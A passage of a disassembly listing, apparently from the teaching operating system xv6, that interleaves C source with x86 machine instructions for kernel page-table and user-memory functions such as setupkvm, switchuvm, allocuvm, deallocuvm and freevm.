10 80 movl $0x801098a8,(%esp) 80108a14: e8 24 7b ff ff call 8010053d <panic> *pte = pa | perm | PTE_P; 80108a19: 8b 45 18 mov 0x18(%ebp),%eax 80108a1c: 0b 45 14 or 0x14(%ebp),%eax 80108a1f: 89 c2 mov %eax,%edx 80108a21: 83 ca 01 or $0x1,%edx 80108a24: 8b 45 ec mov -0x14(%ebp),%eax 80108a27: 89 10 mov %edx,(%eax) if(a == last) 80108a29: 8b 45 f4 mov -0xc(%ebp),%eax 80108a2c: 3b 45 f0 cmp -0x10(%ebp),%eax 80108a2f: 74 10 je 80108a41 <mappages+0x8c> break; a += PGSIZE; 80108a31: 81 45 f4 00 10 00 00 addl $0x1000,-0xc(%ebp) pa += PGSIZE; 80108a38: 81 45 14 00 10 00 00 addl $0x1000,0x14(%ebp) } 80108a3f: eb 96 jmp 801089d7 <mappages+0x22> return -1; if(*pte & PTE_P) panic("remap"); *pte = pa | perm | PTE_P; if(a == last) break; 80108a41: 90 nop a += PGSIZE; pa += PGSIZE; } return 0; 80108a42: b8 00 00 00 00 mov $0x0,%eax } 80108a47: c9 leave 80108a48: c3 ret 80108a49 <setupkvm>: }; // Set up kernel part of a page table. pde_t* setupkvm(void) { 80108a49: 55 push %ebp 80108a4a: 89 e5 mov %esp,%ebp 80108a4c: 53 push %ebx 80108a4d: 83 ec 34 sub $0x34,%esp pde_t *pgdir; struct kmap *k; if((pgdir = (pde_t*)kalloc()) == 0) 80108a50: e8 82 a9 ff ff call 801033d7 <kalloc> 80108a55: 89 45 f0 mov %eax,-0x10(%ebp) 80108a58: 83 7d f0 00 cmpl $0x0,-0x10(%ebp) 80108a5c: 75 0a jne 80108a68 <setupkvm+0x1f> return 0; 80108a5e: b8 00 00 00 00 mov $0x0,%eax 80108a63: e9 98 00 00 00 jmp 80108b00 <setupkvm+0xb7> memset(pgdir, 0, PGSIZE); 80108a68: c7 44 24 08 00 10 00 movl $0x1000,0x8(%esp) 80108a6f: 00 80108a70: c7 44 24 04 00 00 00 movl $0x0,0x4(%esp) 80108a77: 00 80108a78: 8b 45 f0 mov -0x10(%ebp),%eax 80108a7b: 89 04 24 mov %eax,(%esp) 80108a7e: e8 77 d3 ff ff call 80105dfa <memset> if (p2v(PHYSTOP) > (void*)DEVSPACE) 80108a83: c7 04 24 00 00 00 0e movl $0xe000000,(%esp) 80108a8a: e8 0d fa ff ff call 8010849c <p2v> 80108a8f: 3d 00 00 00 fe cmp $0xfe000000,%eax 80108a94: 76 0c jbe 80108aa2 <setupkvm+0x59> panic("PHYSTOP too high"); 80108a96: c7 04 24 ae 98 10 80 movl $0x801098ae,(%esp) 80108a9d: e8 9b 7a ff ff call 8010053d <panic> for(k = kmap; k < &kmap[NELEM(kmap)]; k++) 80108aa2: c7 45 f4 c0 c4 10 80 movl $0x8010c4c0,-0xc(%ebp) 80108aa9: eb 49 jmp 80108af4 <setupkvm+0xab> if(mappages(pgdir, k->virt, k->phys_end - k->phys_start, (uint)k->phys_start, k->perm) < 0) 80108aab: 8b 45 f4 mov -0xc(%ebp),%eax return 0; memset(pgdir, 0, PGSIZE); if (p2v(PHYSTOP) > (void*)DEVSPACE) panic("PHYSTOP too high"); for(k = kmap; k < &kmap[NELEM(kmap)]; k++) if(mappages(pgdir, k->virt, k->phys_end - k->phys_start, 80108aae: 8b 48 0c mov 0xc(%eax),%ecx (uint)k->phys_start, k->perm) < 0) 80108ab1: 8b 45 f4 mov -0xc(%ebp),%eax return 0; memset(pgdir, 0, PGSIZE); if (p2v(PHYSTOP) > (void*)DEVSPACE) panic("PHYSTOP too high"); for(k = kmap; k < &kmap[NELEM(kmap)]; k++) if(mappages(pgdir, k->virt, k->phys_end - k->phys_start, 80108ab4: 8b 50 04 mov 0x4(%eax),%edx 80108ab7: 8b 45 f4 mov -0xc(%ebp),%eax 80108aba: 8b 58 08 mov 0x8(%eax),%ebx 80108abd: 8b 45 f4 mov -0xc(%ebp),%eax 80108ac0: 8b 40 04 mov 0x4(%eax),%eax 80108ac3: 29 c3 sub %eax,%ebx 80108ac5: 8b 45 f4 mov -0xc(%ebp),%eax 80108ac8: 8b 00 mov (%eax),%eax 80108aca: 89 4c 24 10 mov %ecx,0x10(%esp) 80108ace: 89 54 24 0c mov %edx,0xc(%esp) 80108ad2: 89 5c 24 08 mov %ebx,0x8(%esp) 80108ad6: 89 44 24 04 mov %eax,0x4(%esp) 80108ada: 8b 45 f0 mov -0x10(%ebp),%eax 80108add: 89 04 24 mov %eax,(%esp) 80108ae0: e8 d0 fe ff ff call 801089b5 <mappages> 80108ae5: 85 c0 test %eax,%eax 80108ae7: 79 07 jns 80108af0 <setupkvm+0xa7> (uint)k->phys_start, k->perm) < 0) return 0; 80108ae9: b8 00 00 00 00 mov $0x0,%eax 80108aee: eb 10 jmp 80108b00 <setupkvm+0xb7> if((pgdir = (pde_t*)kalloc()) == 0) return 0; memset(pgdir, 0, PGSIZE); if (p2v(PHYSTOP) > (void*)DEVSPACE) panic("PHYSTOP too high"); for(k = kmap; k < &kmap[NELEM(kmap)]; k++) 80108af0: 83 45 f4 10 addl $0x10,-0xc(%ebp) 80108af4: 81 7d f4 00 c5 10 80 cmpl $0x8010c500,-0xc(%ebp) 80108afb: 72 ae jb 80108aab <setupkvm+0x62> if(mappages(pgdir, k->virt, k->phys_end - k->phys_start, (uint)k->phys_start, k->perm) < 0) return 0; return pgdir; 80108afd: 8b 45 f0 mov -0x10(%ebp),%eax } 80108b00: 83 c4 34 add $0x34,%esp 80108b03: 5b pop %ebx 80108b04: 5d pop %ebp 80108b05: c3 ret 80108b06 <kvmalloc>: // Allocate one page table for the machine for the kernel address // space for scheduler processes. void kvmalloc(void) { 80108b06: 55 push %ebp 80108b07: 89 e5 mov %esp,%ebp 80108b09: 83 ec 08 sub $0x8,%esp kpgdir = setupkvm(); 80108b0c: e8 38 ff ff ff call 80108a49 <setupkvm> 80108b11: a3 78 6e 11 80 mov %eax,0x80116e78 switchkvm(); 80108b16: e8 02 00 00 00 call 80108b1d <switchkvm> } 80108b1b: c9 leave 80108b1c: c3 ret 80108b1d <switchkvm>: // Switch h/w page table register to the kernel-only page table, // for when no process is running. void switchkvm(void) { 80108b1d: 55 push %ebp 80108b1e: 89 e5 mov %esp,%ebp 80108b20: 83 ec 04 sub $0x4,%esp lcr3(v2p(kpgdir)); // switch to the kernel page table 80108b23: a1 78 6e 11 80 mov 0x80116e78,%eax 80108b28: 89 04 24 mov %eax,(%esp) 80108b2b: e8 5f f9 ff ff call 8010848f <v2p> 80108b30: 89 04 24 mov %eax,(%esp) 80108b33: e8 4c f9 ff ff call 80108484 <lcr3> } 80108b38: c9 leave 80108b39: c3 ret 80108b3a <switchuvm>: // Switch TSS and h/w page table to correspond to process p. void switchuvm(struct proc *p) { 80108b3a: 55 push %ebp 80108b3b: 89 e5 mov %esp,%ebp 80108b3d: 53 push %ebx 80108b3e: 83 ec 14 sub $0x14,%esp pushcli(); 80108b41: e8 ad d1 ff ff call 80105cf3 <pushcli> cpu->gdt[SEG_TSS] = SEG16(STS_T32A, &cpu->ts, sizeof(cpu->ts)-1, 0); 80108b46: 65 a1 00 00 00 00 mov %gs:0x0,%eax 80108b4c: 65 8b 15 00 00 00 00 mov %gs:0x0,%edx 80108b53: 83 c2 08 add $0x8,%edx 80108b56: 89 d3 mov %edx,%ebx 80108b58: 65 8b 15 00 00 00 00 mov %gs:0x0,%edx 80108b5f: 83 c2 08 add $0x8,%edx 80108b62: c1 ea 10 shr $0x10,%edx 80108b65: 89 d1 mov %edx,%ecx 80108b67: 65 8b 15 00 00 00 00 mov %gs:0x0,%edx 80108b6e: 83 c2 08 add $0x8,%edx 80108b71: c1 ea 18 shr $0x18,%edx 80108b74: 66 c7 80 a0 00 00 00 movw $0x67,0xa0(%eax) 80108b7b: 67 00 80108b7d: 66 89 98 a2 00 00 00 mov %bx,0xa2(%eax) 80108b84: 88 88 a4 00 00 00 mov %cl,0xa4(%eax) 80108b8a: 0f b6 88 a5 00 00 00 movzbl 0xa5(%eax),%ecx 80108b91: 83 e1 f0 and $0xfffffff0,%ecx 80108b94: 83 c9 09 or $0x9,%ecx 80108b97: 88 88 a5 00 00 00 mov %cl,0xa5(%eax) 80108b9d: 0f b6 88 a5 00 00 00 movzbl 0xa5(%eax),%ecx 80108ba4: 83 c9 10 or $0x10,%ecx 80108ba7: 88 88 a5 00 00 00 mov %cl,0xa5(%eax) 80108bad: 0f b6 88 a5 00 00 00 movzbl 0xa5(%eax),%ecx 80108bb4: 83 e1 9f and $0xffffff9f,%ecx 80108bb7: 88 88 a5 00 00 00 mov %cl,0xa5(%eax) 80108bbd: 0f b6 88 a5 00 00 00 movzbl 0xa5(%eax),%ecx 80108bc4: 83 c9 80 or $0xffffff80,%ecx 80108bc7: 88 88 a5 00 00 00 mov %cl,0xa5(%eax) 80108bcd: 0f b6 88 a6 00 00 00 movzbl 0xa6(%eax),%ecx 80108bd4: 83 e1 f0 and $0xfffffff0,%ecx 80108bd7: 88 88 a6 00 00 00 mov %cl,0xa6(%eax) 80108bdd: 0f b6 88 a6 00 00 00 movzbl 0xa6(%eax),%ecx 80108be4: 83 e1 ef and $0xffffffef,%ecx 80108be7: 88 88 a6 00 00 00 mov %cl,0xa6(%eax) 80108bed: 0f b6 88 a6 00 00 00 movzbl 0xa6(%eax),%ecx 80108bf4: 83 e1 df and $0xffffffdf,%ecx 80108bf7: 88 88 a6 00 00 00 mov %cl,0xa6(%eax) 80108bfd: 0f b6 88 a6 00 00 00 movzbl 0xa6(%eax),%ecx 80108c04: 83 c9 40 or $0x40,%ecx 80108c07: 88 88 a6 00 00 00 mov %cl,0xa6(%eax) 80108c0d: 0f b6 88 a6 00 00 00 movzbl 0xa6(%eax),%ecx 80108c14: 83 e1 7f and $0x7f,%ecx 80108c17: 88 88 a6 00 00 00 mov %cl,0xa6(%eax) 80108c1d: 88 90 a7 00 00 00 mov %dl,0xa7(%eax) cpu->gdt[SEG_TSS].s = 0; 80108c23: 65 a1 00 00 00 00 mov %gs:0x0,%eax 80108c29: 0f b6 90 a5 00 00 00 movzbl 0xa5(%eax),%edx 80108c30: 83 e2 ef and $0xffffffef,%edx 80108c33: 88 90 a5 00 00 00 mov %dl,0xa5(%eax) cpu->ts.ss0 = SEG_KDATA << 3; 80108c39: 65 a1 00 00 00 00 mov %gs:0x0,%eax 80108c3f: 66 c7 40 10 10 00 movw $0x10,0x10(%eax) cpu->ts.esp0 = (uint)proc->kstack + KSTACKSIZE; 80108c45: 65 a1 00 00 00 00 mov %gs:0x0,%eax 80108c4b: 65 8b 15 04 00 00 00 mov %gs:0x4,%edx 80108c52: 8b 52 08 mov 0x8(%edx),%edx 80108c55: 81 c2 00 10 00 00 add $0x1000,%edx 80108c5b: 89 50 0c mov %edx,0xc(%eax) ltr(SEG_TSS << 3); 80108c5e: c7 04 24 30 00 00 00 movl $0x30,(%esp) 80108c65: e8 ef f7 ff ff call 80108459 <ltr> if(p->pgdir == 0) 80108c6a: 8b 45 08 mov 0x8(%ebp),%eax 80108c6d: 8b 40 04 mov 0x4(%eax),%eax 80108c70: 85 c0 test %eax,%eax 80108c72: 75 0c jne 80108c80 <switchuvm+0x146> panic("switchuvm: no pgdir"); 80108c74: c7 04 24 bf 98 10 80 movl $0x801098bf,(%esp) 80108c7b: e8 bd 78 ff ff call 8010053d <panic> lcr3(v2p(p->pgdir)); // switch to new address space 80108c80: 8b 45 08 mov 0x8(%ebp),%eax 80108c83: 8b 40 04 mov 0x4(%eax),%eax 80108c86: 89 04 24 mov %eax,(%esp) 80108c89: e8 01 f8 ff ff call 8010848f <v2p> 80108c8e: 89 04 24 mov %eax,(%esp) 80108c91: e8 ee f7 ff ff call 80108484 <lcr3> popcli(); 80108c96: e8 a0 d0 ff ff call 80105d3b <popcli> } 80108c9b: 83 c4 14 add $0x14,%esp 80108c9e: 5b pop %ebx 80108c9f: 5d pop %ebp 80108ca0: c3 ret 80108ca1 <inituvm>: // Load the initcode into address 0 of pgdir. // sz must be less than a page. void inituvm(pde_t *pgdir, char *init, uint sz) { 80108ca1: 55 push %ebp 80108ca2: 89 e5 mov %esp,%ebp 80108ca4: 83 ec 38 sub $0x38,%esp char *mem; if(sz >= PGSIZE) 80108ca7: 81 7d 10 ff 0f 00 00 cmpl $0xfff,0x10(%ebp) 80108cae: 76 0c jbe 80108cbc <inituvm+0x1b> panic("inituvm: more than a page"); 80108cb0: c7 04 24 d3 98 10 80 movl $0x801098d3,(%esp) 80108cb7: e8 81 78 ff ff call 8010053d <panic> mem = kalloc(); 80108cbc: e8 16 a7 ff ff call 801033d7 <kalloc> 80108cc1: 89 45 f4 mov %eax,-0xc(%ebp) memset(mem, 0, PGSIZE); 80108cc4: c7 44 24 08 00 10 00 movl $0x1000,0x8(%esp) 80108ccb: 00 80108ccc: c7 44 24 04 00 00 00 movl $0x0,0x4(%esp) 80108cd3: 00 80108cd4: 8b 45 f4 mov -0xc(%ebp),%eax 80108cd7: 89 04 24 mov %eax,(%esp) 80108cda: e8 1b d1 ff ff call 80105dfa <memset> mappages(pgdir, 0, PGSIZE, v2p(mem), PTE_W|PTE_U); 80108cdf: 8b 45 f4 mov -0xc(%ebp),%eax 80108ce2: 89 04 24 mov %eax,(%esp) 80108ce5: e8 a5 f7 ff ff call 8010848f <v2p> 80108cea: c7 44 24 10 06 00 00 movl $0x6,0x10(%esp) 80108cf1: 00 80108cf2: 89 44 24 0c mov %eax,0xc(%esp) 80108cf6: c7 44 24 08 00 10 00 movl $0x1000,0x8(%esp) 80108cfd: 00 80108cfe: c7 44 24 04 00 00 00 movl $0x0,0x4(%esp) 80108d05: 00 80108d06: 8b 45 08 mov 0x8(%ebp),%eax 80108d09: 89 04 24 mov %eax,(%esp) 80108d0c: e8 a4 fc ff ff call 801089b5 <mappages> memmove(mem, init, sz); 80108d11: 8b 45 10 mov 0x10(%ebp),%eax 80108d14: 89 44 24 08 mov %eax,0x8(%esp) 80108d18: 8b 45 0c mov 0xc(%ebp),%eax 80108d1b: 89 44 24 04 mov %eax,0x4(%esp) 80108d1f: 8b 45 f4 mov -0xc(%ebp),%eax 80108d22: 89 04 24 mov %eax,(%esp) 80108d25: e8 a3 d1 ff ff call 80105ecd <memmove> } 80108d2a: c9 leave 80108d2b: c3 ret 80108d2c <loaduvm>: // Load a program segment into pgdir. addr must be page-aligned // and the pages from addr to addr+sz must already be mapped. int loaduvm(pde_t *pgdir, char *addr, struct inode *ip, uint offset, uint sz) { 80108d2c: 55 push %ebp 80108d2d: 89 e5 mov %esp,%ebp 80108d2f: 53 push %ebx 80108d30: 83 ec 24 sub $0x24,%esp uint i, pa, n; pte_t *pte; if((uint) addr % PGSIZE != 0) 80108d33: 8b 45 0c mov 0xc(%ebp),%eax 80108d36: 25 ff 0f 00 00 and $0xfff,%eax 80108d3b: 85 c0 test %eax,%eax 80108d3d: 74 0c je 80108d4b <loaduvm+0x1f> panic("loaduvm: addr must be page aligned"); 80108d3f: c7 04 24 f0 98 10 80 movl $0x801098f0,(%esp) 80108d46: e8 f2 77 ff ff call 8010053d <panic> for(i = 0; i < sz; i += PGSIZE){ 80108d4b: c7 45 f4 00 00 00 00 movl $0x0,-0xc(%ebp) 80108d52: e9 ad 00 00 00 jmp 80108e04 <loaduvm+0xd8> if((pte = walkpgdir(pgdir, addr+i, 0)) == 0) 80108d57: 8b 45 f4 mov -0xc(%ebp),%eax 80108d5a: 8b 55 0c mov 0xc(%ebp),%edx 80108d5d: 01 d0 add %edx,%eax 80108d5f: c7 44 24 08 00 00 00 movl $0x0,0x8(%esp) 80108d66: 00 80108d67: 89 44 24 04 mov %eax,0x4(%esp) 80108d6b: 8b 45 08 mov 0x8(%ebp),%eax 80108d6e: 89 04 24 mov %eax,(%esp) 80108d71: e8 a9 fb ff ff call 8010891f <walkpgdir> 80108d76: 89 45 ec mov %eax,-0x14(%ebp) 80108d79: 83 7d ec 00 cmpl $0x0,-0x14(%ebp) 80108d7d: 75 0c jne 80108d8b <loaduvm+0x5f> panic("loaduvm: address should exist"); 80108d7f: c7 04 24 13 99 10 80 movl $0x80109913,(%esp) 80108d86: e8 b2 77 ff ff call 8010053d <panic> pa = PTE_ADDR(*pte); 80108d8b: 8b 45 ec mov -0x14(%ebp),%eax 80108d8e: 8b 00 mov (%eax),%eax 80108d90: 25 00 f0 ff ff and $0xfffff000,%eax 80108d95: 89 45 e8 mov %eax,-0x18(%ebp) if(sz - i < PGSIZE) 80108d98: 8b 45 f4 mov -0xc(%ebp),%eax 80108d9b: 8b 55 18 mov 0x18(%ebp),%edx 80108d9e: 89 d1 mov %edx,%ecx 80108da0: 29 c1 sub %eax,%ecx 80108da2: 89 c8 mov %ecx,%eax 80108da4: 3d ff 0f 00 00 cmp $0xfff,%eax 80108da9: 77 11 ja 80108dbc <loaduvm+0x90> n = sz - i; 80108dab: 8b 45 f4 mov -0xc(%ebp),%eax 80108dae: 8b 55 18 mov 0x18(%ebp),%edx 80108db1: 89 d1 mov %edx,%ecx 80108db3: 29 c1 sub %eax,%ecx 80108db5: 89 c8 mov %ecx,%eax 80108db7: 89 45 f0 mov %eax,-0x10(%ebp) 80108dba: eb 07 jmp 80108dc3 <loaduvm+0x97> else n = PGSIZE; 80108dbc: c7 45 f0 00 10 00 00 movl $0x1000,-0x10(%ebp) if(readi(ip, p2v(pa), offset+i, n) != n) 80108dc3: 8b 45 f4 mov -0xc(%ebp),%eax 80108dc6: 8b 55 14 mov 0x14(%ebp),%edx 80108dc9: 8d 1c 02 lea (%edx,%eax,1),%ebx 80108dcc: 8b 45 e8 mov -0x18(%ebp),%eax 80108dcf: 89 04 24 mov %eax,(%esp) 80108dd2: e8 c5 f6 ff ff call 8010849c <p2v> 80108dd7: 8b 55 f0 mov -0x10(%ebp),%edx 80108dda: 89 54 24 0c mov %edx,0xc(%esp) 80108dde: 89 5c 24 08 mov %ebx,0x8(%esp) 80108de2: 89 44 24 04 mov %eax,0x4(%esp) 80108de6: 8b 45 10 mov 0x10(%ebp),%eax 80108de9: 89 04 24 mov %eax,(%esp) 80108dec: e8 10 98 ff ff call 80102601 <readi> 80108df1: 3b 45 f0 cmp -0x10(%ebp),%eax 80108df4: 74 07 je 80108dfd <loaduvm+0xd1> return -1; 80108df6: b8 ff ff ff ff mov $0xffffffff,%eax 80108dfb: eb 18 jmp 80108e15 <loaduvm+0xe9> uint i, pa, n; pte_t *pte; if((uint) addr % PGSIZE != 0) panic("loaduvm: addr must be page aligned"); for(i = 0; i < sz; i += PGSIZE){ 80108dfd: 81 45 f4 00 10 00 00 addl $0x1000,-0xc(%ebp) 80108e04: 8b 45 f4 mov -0xc(%ebp),%eax 80108e07: 3b 45 18 cmp 0x18(%ebp),%eax 80108e0a: 0f 82 47 ff ff ff jb 80108d57 <loaduvm+0x2b> else n = PGSIZE; if(readi(ip, p2v(pa), offset+i, n) != n) return -1; } return 0; 80108e10: b8 00 00 00 00 mov $0x0,%eax } 80108e15: 83 c4 24 add $0x24,%esp 80108e18: 5b pop %ebx 80108e19: 5d pop %ebp 80108e1a: c3 ret 80108e1b <allocuvm>: // Allocate page tables and physical memory to grow process from oldsz to // newsz, which need not be page aligned. Returns new size or 0 on error. int allocuvm(pde_t *pgdir, uint oldsz, uint newsz) { 80108e1b: 55 push %ebp 80108e1c: 89 e5 mov %esp,%ebp 80108e1e: 83 ec 38 sub $0x38,%esp char *mem; uint a; if(newsz >= KERNBASE) 80108e21: 8b 45 10 mov 0x10(%ebp),%eax 80108e24: 85 c0 test %eax,%eax 80108e26: 79 0a jns 80108e32 <allocuvm+0x17> return 0; 80108e28: b8 00 00 00 00 mov $0x0,%eax 80108e2d: e9 c1 00 00 00 jmp 80108ef3 <allocuvm+0xd8> if(newsz < oldsz) 80108e32: 8b 45 10 mov 0x10(%ebp),%eax 80108e35: 3b 45 0c cmp 0xc(%ebp),%eax 80108e38: 73 08 jae 80108e42 <allocuvm+0x27> return oldsz; 80108e3a: 8b 45 0c mov 0xc(%ebp),%eax 80108e3d: e9 b1 00 00 00 jmp 80108ef3 <allocuvm+0xd8> a = PGROUNDUP(oldsz); 80108e42: 8b 45 0c mov 0xc(%ebp),%eax 80108e45: 05 ff 0f 00 00 add $0xfff,%eax 80108e4a: 25 00 f0 ff ff and $0xfffff000,%eax 80108e4f: 89 45 f4 mov %eax,-0xc(%ebp) for(; a < newsz; a += PGSIZE){ 80108e52: e9 8d 00 00 00 jmp 80108ee4 <allocuvm+0xc9> mem = kalloc(); 80108e57: e8 7b a5 ff ff call 801033d7 <kalloc> 80108e5c: 89 45 f0 mov %eax,-0x10(%ebp) if(mem == 0){ 80108e5f: 83 7d f0 00 cmpl $0x0,-0x10(%ebp) 80108e63: 75 2c jne 80108e91 <allocuvm+0x76> cprintf("allocuvm out of memory\n"); 80108e65: c7 04 24 31 99 10 80 movl $0x80109931,(%esp) 80108e6c: e8 30 75 ff ff call 801003a1 <cprintf> deallocuvm(pgdir, newsz, oldsz); 80108e71: 8b 45 0c mov 0xc(%ebp),%eax 80108e74: 89 44 24 08 mov %eax,0x8(%esp) 80108e78: 8b 45 10 mov 0x10(%ebp),%eax 80108e7b: 89 44 24 04 mov %eax,0x4(%esp) 80108e7f: 8b 45 08 mov 0x8(%ebp),%eax 80108e82: 89 04 24 mov %eax,(%esp) 80108e85: e8 6b 00 00 00 call 80108ef5 <deallocuvm> return 0; 80108e8a: b8 00 00 00 00 mov $0x0,%eax 80108e8f: eb 62 jmp 80108ef3 <allocuvm+0xd8> } memset(mem, 0, PGSIZE); 80108e91: c7 44 24 08 00 10 00 movl $0x1000,0x8(%esp) 80108e98: 00 80108e99: c7 44 24 04 00 00 00 movl $0x0,0x4(%esp) 80108ea0: 00 80108ea1: 8b 45 f0 mov -0x10(%ebp),%eax 80108ea4: 89 04 24 mov %eax,(%esp) 80108ea7: e8 4e cf ff ff call 80105dfa <memset> mappages(pgdir, (char*)a, PGSIZE, v2p(mem), PTE_W|PTE_U); 80108eac: 8b 45 f0 mov -0x10(%ebp),%eax 80108eaf: 89 04 24 mov %eax,(%esp) 80108eb2: e8 d8 f5 ff ff call 8010848f <v2p> 80108eb7: 8b 55 f4 mov -0xc(%ebp),%edx 80108eba: c7 44 24 10 06 00 00 movl $0x6,0x10(%esp) 80108ec1: 00 80108ec2: 89 44 24 0c mov %eax,0xc(%esp) 80108ec6: c7 44 24 08 00 10 00 movl $0x1000,0x8(%esp) 80108ecd: 00 80108ece: 89 54 24 04 mov %edx,0x4(%esp) 80108ed2: 8b 45 08 mov 0x8(%ebp),%eax 80108ed5: 89 04 24 mov %eax,(%esp) 80108ed8: e8 d8 fa ff ff call 801089b5 <mappages> return 0; if(newsz < oldsz) return oldsz; a = PGROUNDUP(oldsz); for(; a < newsz; a += PGSIZE){ 80108edd: 81 45 f4 00 10 00 00 addl $0x1000,-0xc(%ebp) 80108ee4: 8b 45 f4 mov -0xc(%ebp),%eax 80108ee7: 3b 45 10 cmp 0x10(%ebp),%eax 80108eea: 0f 82 67 ff ff ff jb 80108e57 <allocuvm+0x3c> return 0; } memset(mem, 0, PGSIZE); mappages(pgdir, (char*)a, PGSIZE, v2p(mem), PTE_W|PTE_U); } return newsz; 80108ef0: 8b 45 10 mov 0x10(%ebp),%eax } 80108ef3: c9 leave 80108ef4: c3 ret 80108ef5 <deallocuvm>: // newsz. oldsz and newsz need not be page-aligned, nor does newsz // need to be less than oldsz. oldsz can be larger than the actual // process size. Returns the new process size. int deallocuvm(pde_t *pgdir, uint oldsz, uint newsz) { 80108ef5: 55 push %ebp 80108ef6: 89 e5 mov %esp,%ebp 80108ef8: 83 ec 28 sub $0x28,%esp pte_t *pte; uint a, pa; if(newsz >= oldsz) 80108efb: 8b 45 10 mov 0x10(%ebp),%eax 80108efe: 3b 45 0c cmp 0xc(%ebp),%eax 80108f01: 72 08 jb 80108f0b <deallocuvm+0x16> return oldsz; 80108f03: 8b 45 0c mov 0xc(%ebp),%eax 80108f06: e9 a4 00 00 00 jmp 80108faf <deallocuvm+0xba> a = PGROUNDUP(newsz); 80108f0b: 8b 45 10 mov 0x10(%ebp),%eax 80108f0e: 05 ff 0f 00 00 add $0xfff,%eax 80108f13: 25 00 f0 ff ff and $0xfffff000,%eax 80108f18: 89 45 f4 mov %eax,-0xc(%ebp) for(; a < oldsz; a += PGSIZE){ 80108f1b: e9 80 00 00 00 jmp 80108fa0 <deallocuvm+0xab> pte = walkpgdir(pgdir, (char*)a, 0); 80108f20: 8b 45 f4 mov -0xc(%ebp),%eax 80108f23: c7 44 24 08 00 00 00 movl $0x0,0x8(%esp) 80108f2a: 00 80108f2b: 89 44 24 04 mov %eax,0x4(%esp) 80108f2f: 8b 45 08 mov 0x8(%ebp),%eax 80108f32: 89 04 24 mov %eax,(%esp) 80108f35: e8 e5 f9 ff ff call 8010891f <walkpgdir> 80108f3a: 89 45 f0 mov %eax,-0x10(%ebp) if(!pte) 80108f3d: 83 7d f0 00 cmpl $0x0,-0x10(%ebp) 80108f41: 75 09 jne 80108f4c <deallocuvm+0x57> a += (NPTENTRIES - 1) * PGSIZE; 80108f43: 81 45 f4 00 f0 3f 00 addl $0x3ff000,-0xc(%ebp) 80108f4a: eb 4d jmp 80108f99 <deallocuvm+0xa4> else if((*pte & PTE_P) != 0){ 80108f4c: 8b 45 f0 mov -0x10(%ebp),%eax 80108f4f: 8b 00 mov (%eax),%eax 80108f51: 83 e0 01 and $0x1,%eax 80108f54: 84 c0 test %al,%al 80108f56: 74 41 je 80108f99 <deallocuvm+0xa4> pa = PTE_ADDR(*pte); 80108f58: 8b 45 f0 mov -0x10(%ebp),%eax 80108f5b: 8b 00 mov (%eax),%eax 80108f5d: 25 00 f0 ff ff and $0xfffff000,%eax 80108f62: 89 45 ec mov %eax,-0x14(%ebp) if(pa == 0) 80108f65: 83 7d ec 00 cmpl $0x0,-0x14(%ebp) 80108f69: 75 0c jne 80108f77 <deallocuvm+0x82> panic("kfree"); 80108f6b: c7 04 24 49 99 10 80 movl $0x80109949,(%esp) 80108f72: e8 c6 75 ff ff call 8010053d <panic> char *v = p2v(pa); 80108f77: 8b 45 ec mov -0x14(%ebp),%eax 80108f7a: 89 04 24 mov %eax,(%esp) 80108f7d: e8 1a f5 ff ff call 8010849c <p2v> 80108f82: 89 45 e8 mov %eax,-0x18(%ebp) kfree(v); 80108f85: 8b 45 e8 mov -0x18(%ebp),%eax 80108f88: 89 04 24 mov %eax,(%esp) 80108f8b: e8 ae a3 ff ff call 8010333e <kfree> *pte = 0; 80108f90: 8b 45 f0 mov -0x10(%ebp),%eax 80108f93: c7 00 00 00 00 00 movl $0x0,(%eax) if(newsz >= oldsz) return oldsz; a = PGROUNDUP(newsz); for(; a < oldsz; a += PGSIZE){ 80108f99: 81 45 f4 00 10 00 00 addl $0x1000,-0xc(%ebp) 80108fa0: 8b 45 f4 mov -0xc(%ebp),%eax 80108fa3: 3b 45 0c cmp 0xc(%ebp),%eax 80108fa6: 0f 82 74 ff ff ff jb 80108f20 <deallocuvm+0x2b> char *v = p2v(pa); kfree(v); *pte = 0; } } return newsz; 80108fac: 8b 45 10 mov 0x10(%ebp),%eax } 80108faf: c9 leave 80108fb0: c3 ret 80108fb1 <freevm>: // Free a page table and all the physical memory pages // in the user part. void freevm(pde_t *pgdir) { 80108fb1: 55 push %ebp 80108fb2: 89 e5 mov %esp,%ebp 80108fb4: 83 ec 28 sub $0x28,%esp uint i; if(pgdir == 0) 80108fb7: 83 7d 08 00 cmpl $0x0,0x8(%ebp) 80108fbb: 75 0c jne 80108fc9 <freevm+0x18> panic("freevm: no pgdir"); 80108fbd: c7 04 24 4f 99 10 80 movl $0x8010994f,(%esp) 80108fc4: e8 74 75 ff ff call 8010053d <panic> deallocuvm(pgdir, KERNBASE, 0); 80108fc9: c7 44 24 08 00 00 00 movl $0x0,0x8(%esp) 80108fd0: 00 80108fd1: c7 44 24 04 00 00 00 movl $0x80000000,0x4(%esp) 80108fd8: 80 80108fd9: 8b 45 08 mov 0x8(%ebp),%eax 80108fdc: 89 04 24 mov %eax,(%esp) 80108fdf: e8 11 ff ff ff call 80108ef5 <deallocuvm> for(i = 0; i < NPDENTRIES; i++){ 80108fe4: c7 45 f4 00 00 00 00 movl $0x0,-0xc(%ebp) 80108feb: eb 3c jmp 80109029 <freevm+0x78> if(pgdir[i] & PTE_P){ 80108fed: 8b 45 f4 mov -0xc(%ebp),%eax 80108ff0: c1 e0 02 shl $0x2,%eax 80108ff3: 03 45 08 add 0x8(%ebp),%eax 80108ff6: 8b 00 mov (%eax),%eax 80108ff8: 83 e0 01 and $0x1,%eax 80108ffb: 84 c0 test %al,%al 80108ffd: 74 26 je 80109025 <freevm+0x74> char * v = p2v(PTE_ADDR(pgdir[i])); 80108fff: 8b 45 f4 mov -0xc(%ebp),%eax 80109002: c1 e0 02 shl $0x2,%eax 80109005: 03 45 08 add 0x8(%ebp),%eax 80109008: 8b 00 mov (%eax),%eax 8010900a: 25 00 f0 ff ff and $0xfffff000,%eax 8010900f: 89 04 24 mov %eax,(%esp) 80109012: e8 85 f4 ff ff call 8010849c <p2v> 80109017: 89 45 f0 mov %eax,-0x10(%ebp) kfree(v); 8010901a: 8b 45 f0 mov -0x10(%ebp),%eax 8010901d: 89 04 24 mov %eax,(%esp) 80109020: e8 19 a3 ff ff call 8010333e <kfree> uint i; if(pgdir == 0) panic("freevm: no pgdir"); deallocuvm(pgdir, KERNBASE, 0); for(i = 0; i < NPDENTRIES; i++){ 80109025: 83 45 f4 01 addl $0x1,-0xc(%ebp) 80109029: 81 7d f4 ff 03 00 00 cmpl $0x3ff,-0xc(%ebp) 80109030: 76 bb jbe 80108fed <freevm+0x3c> 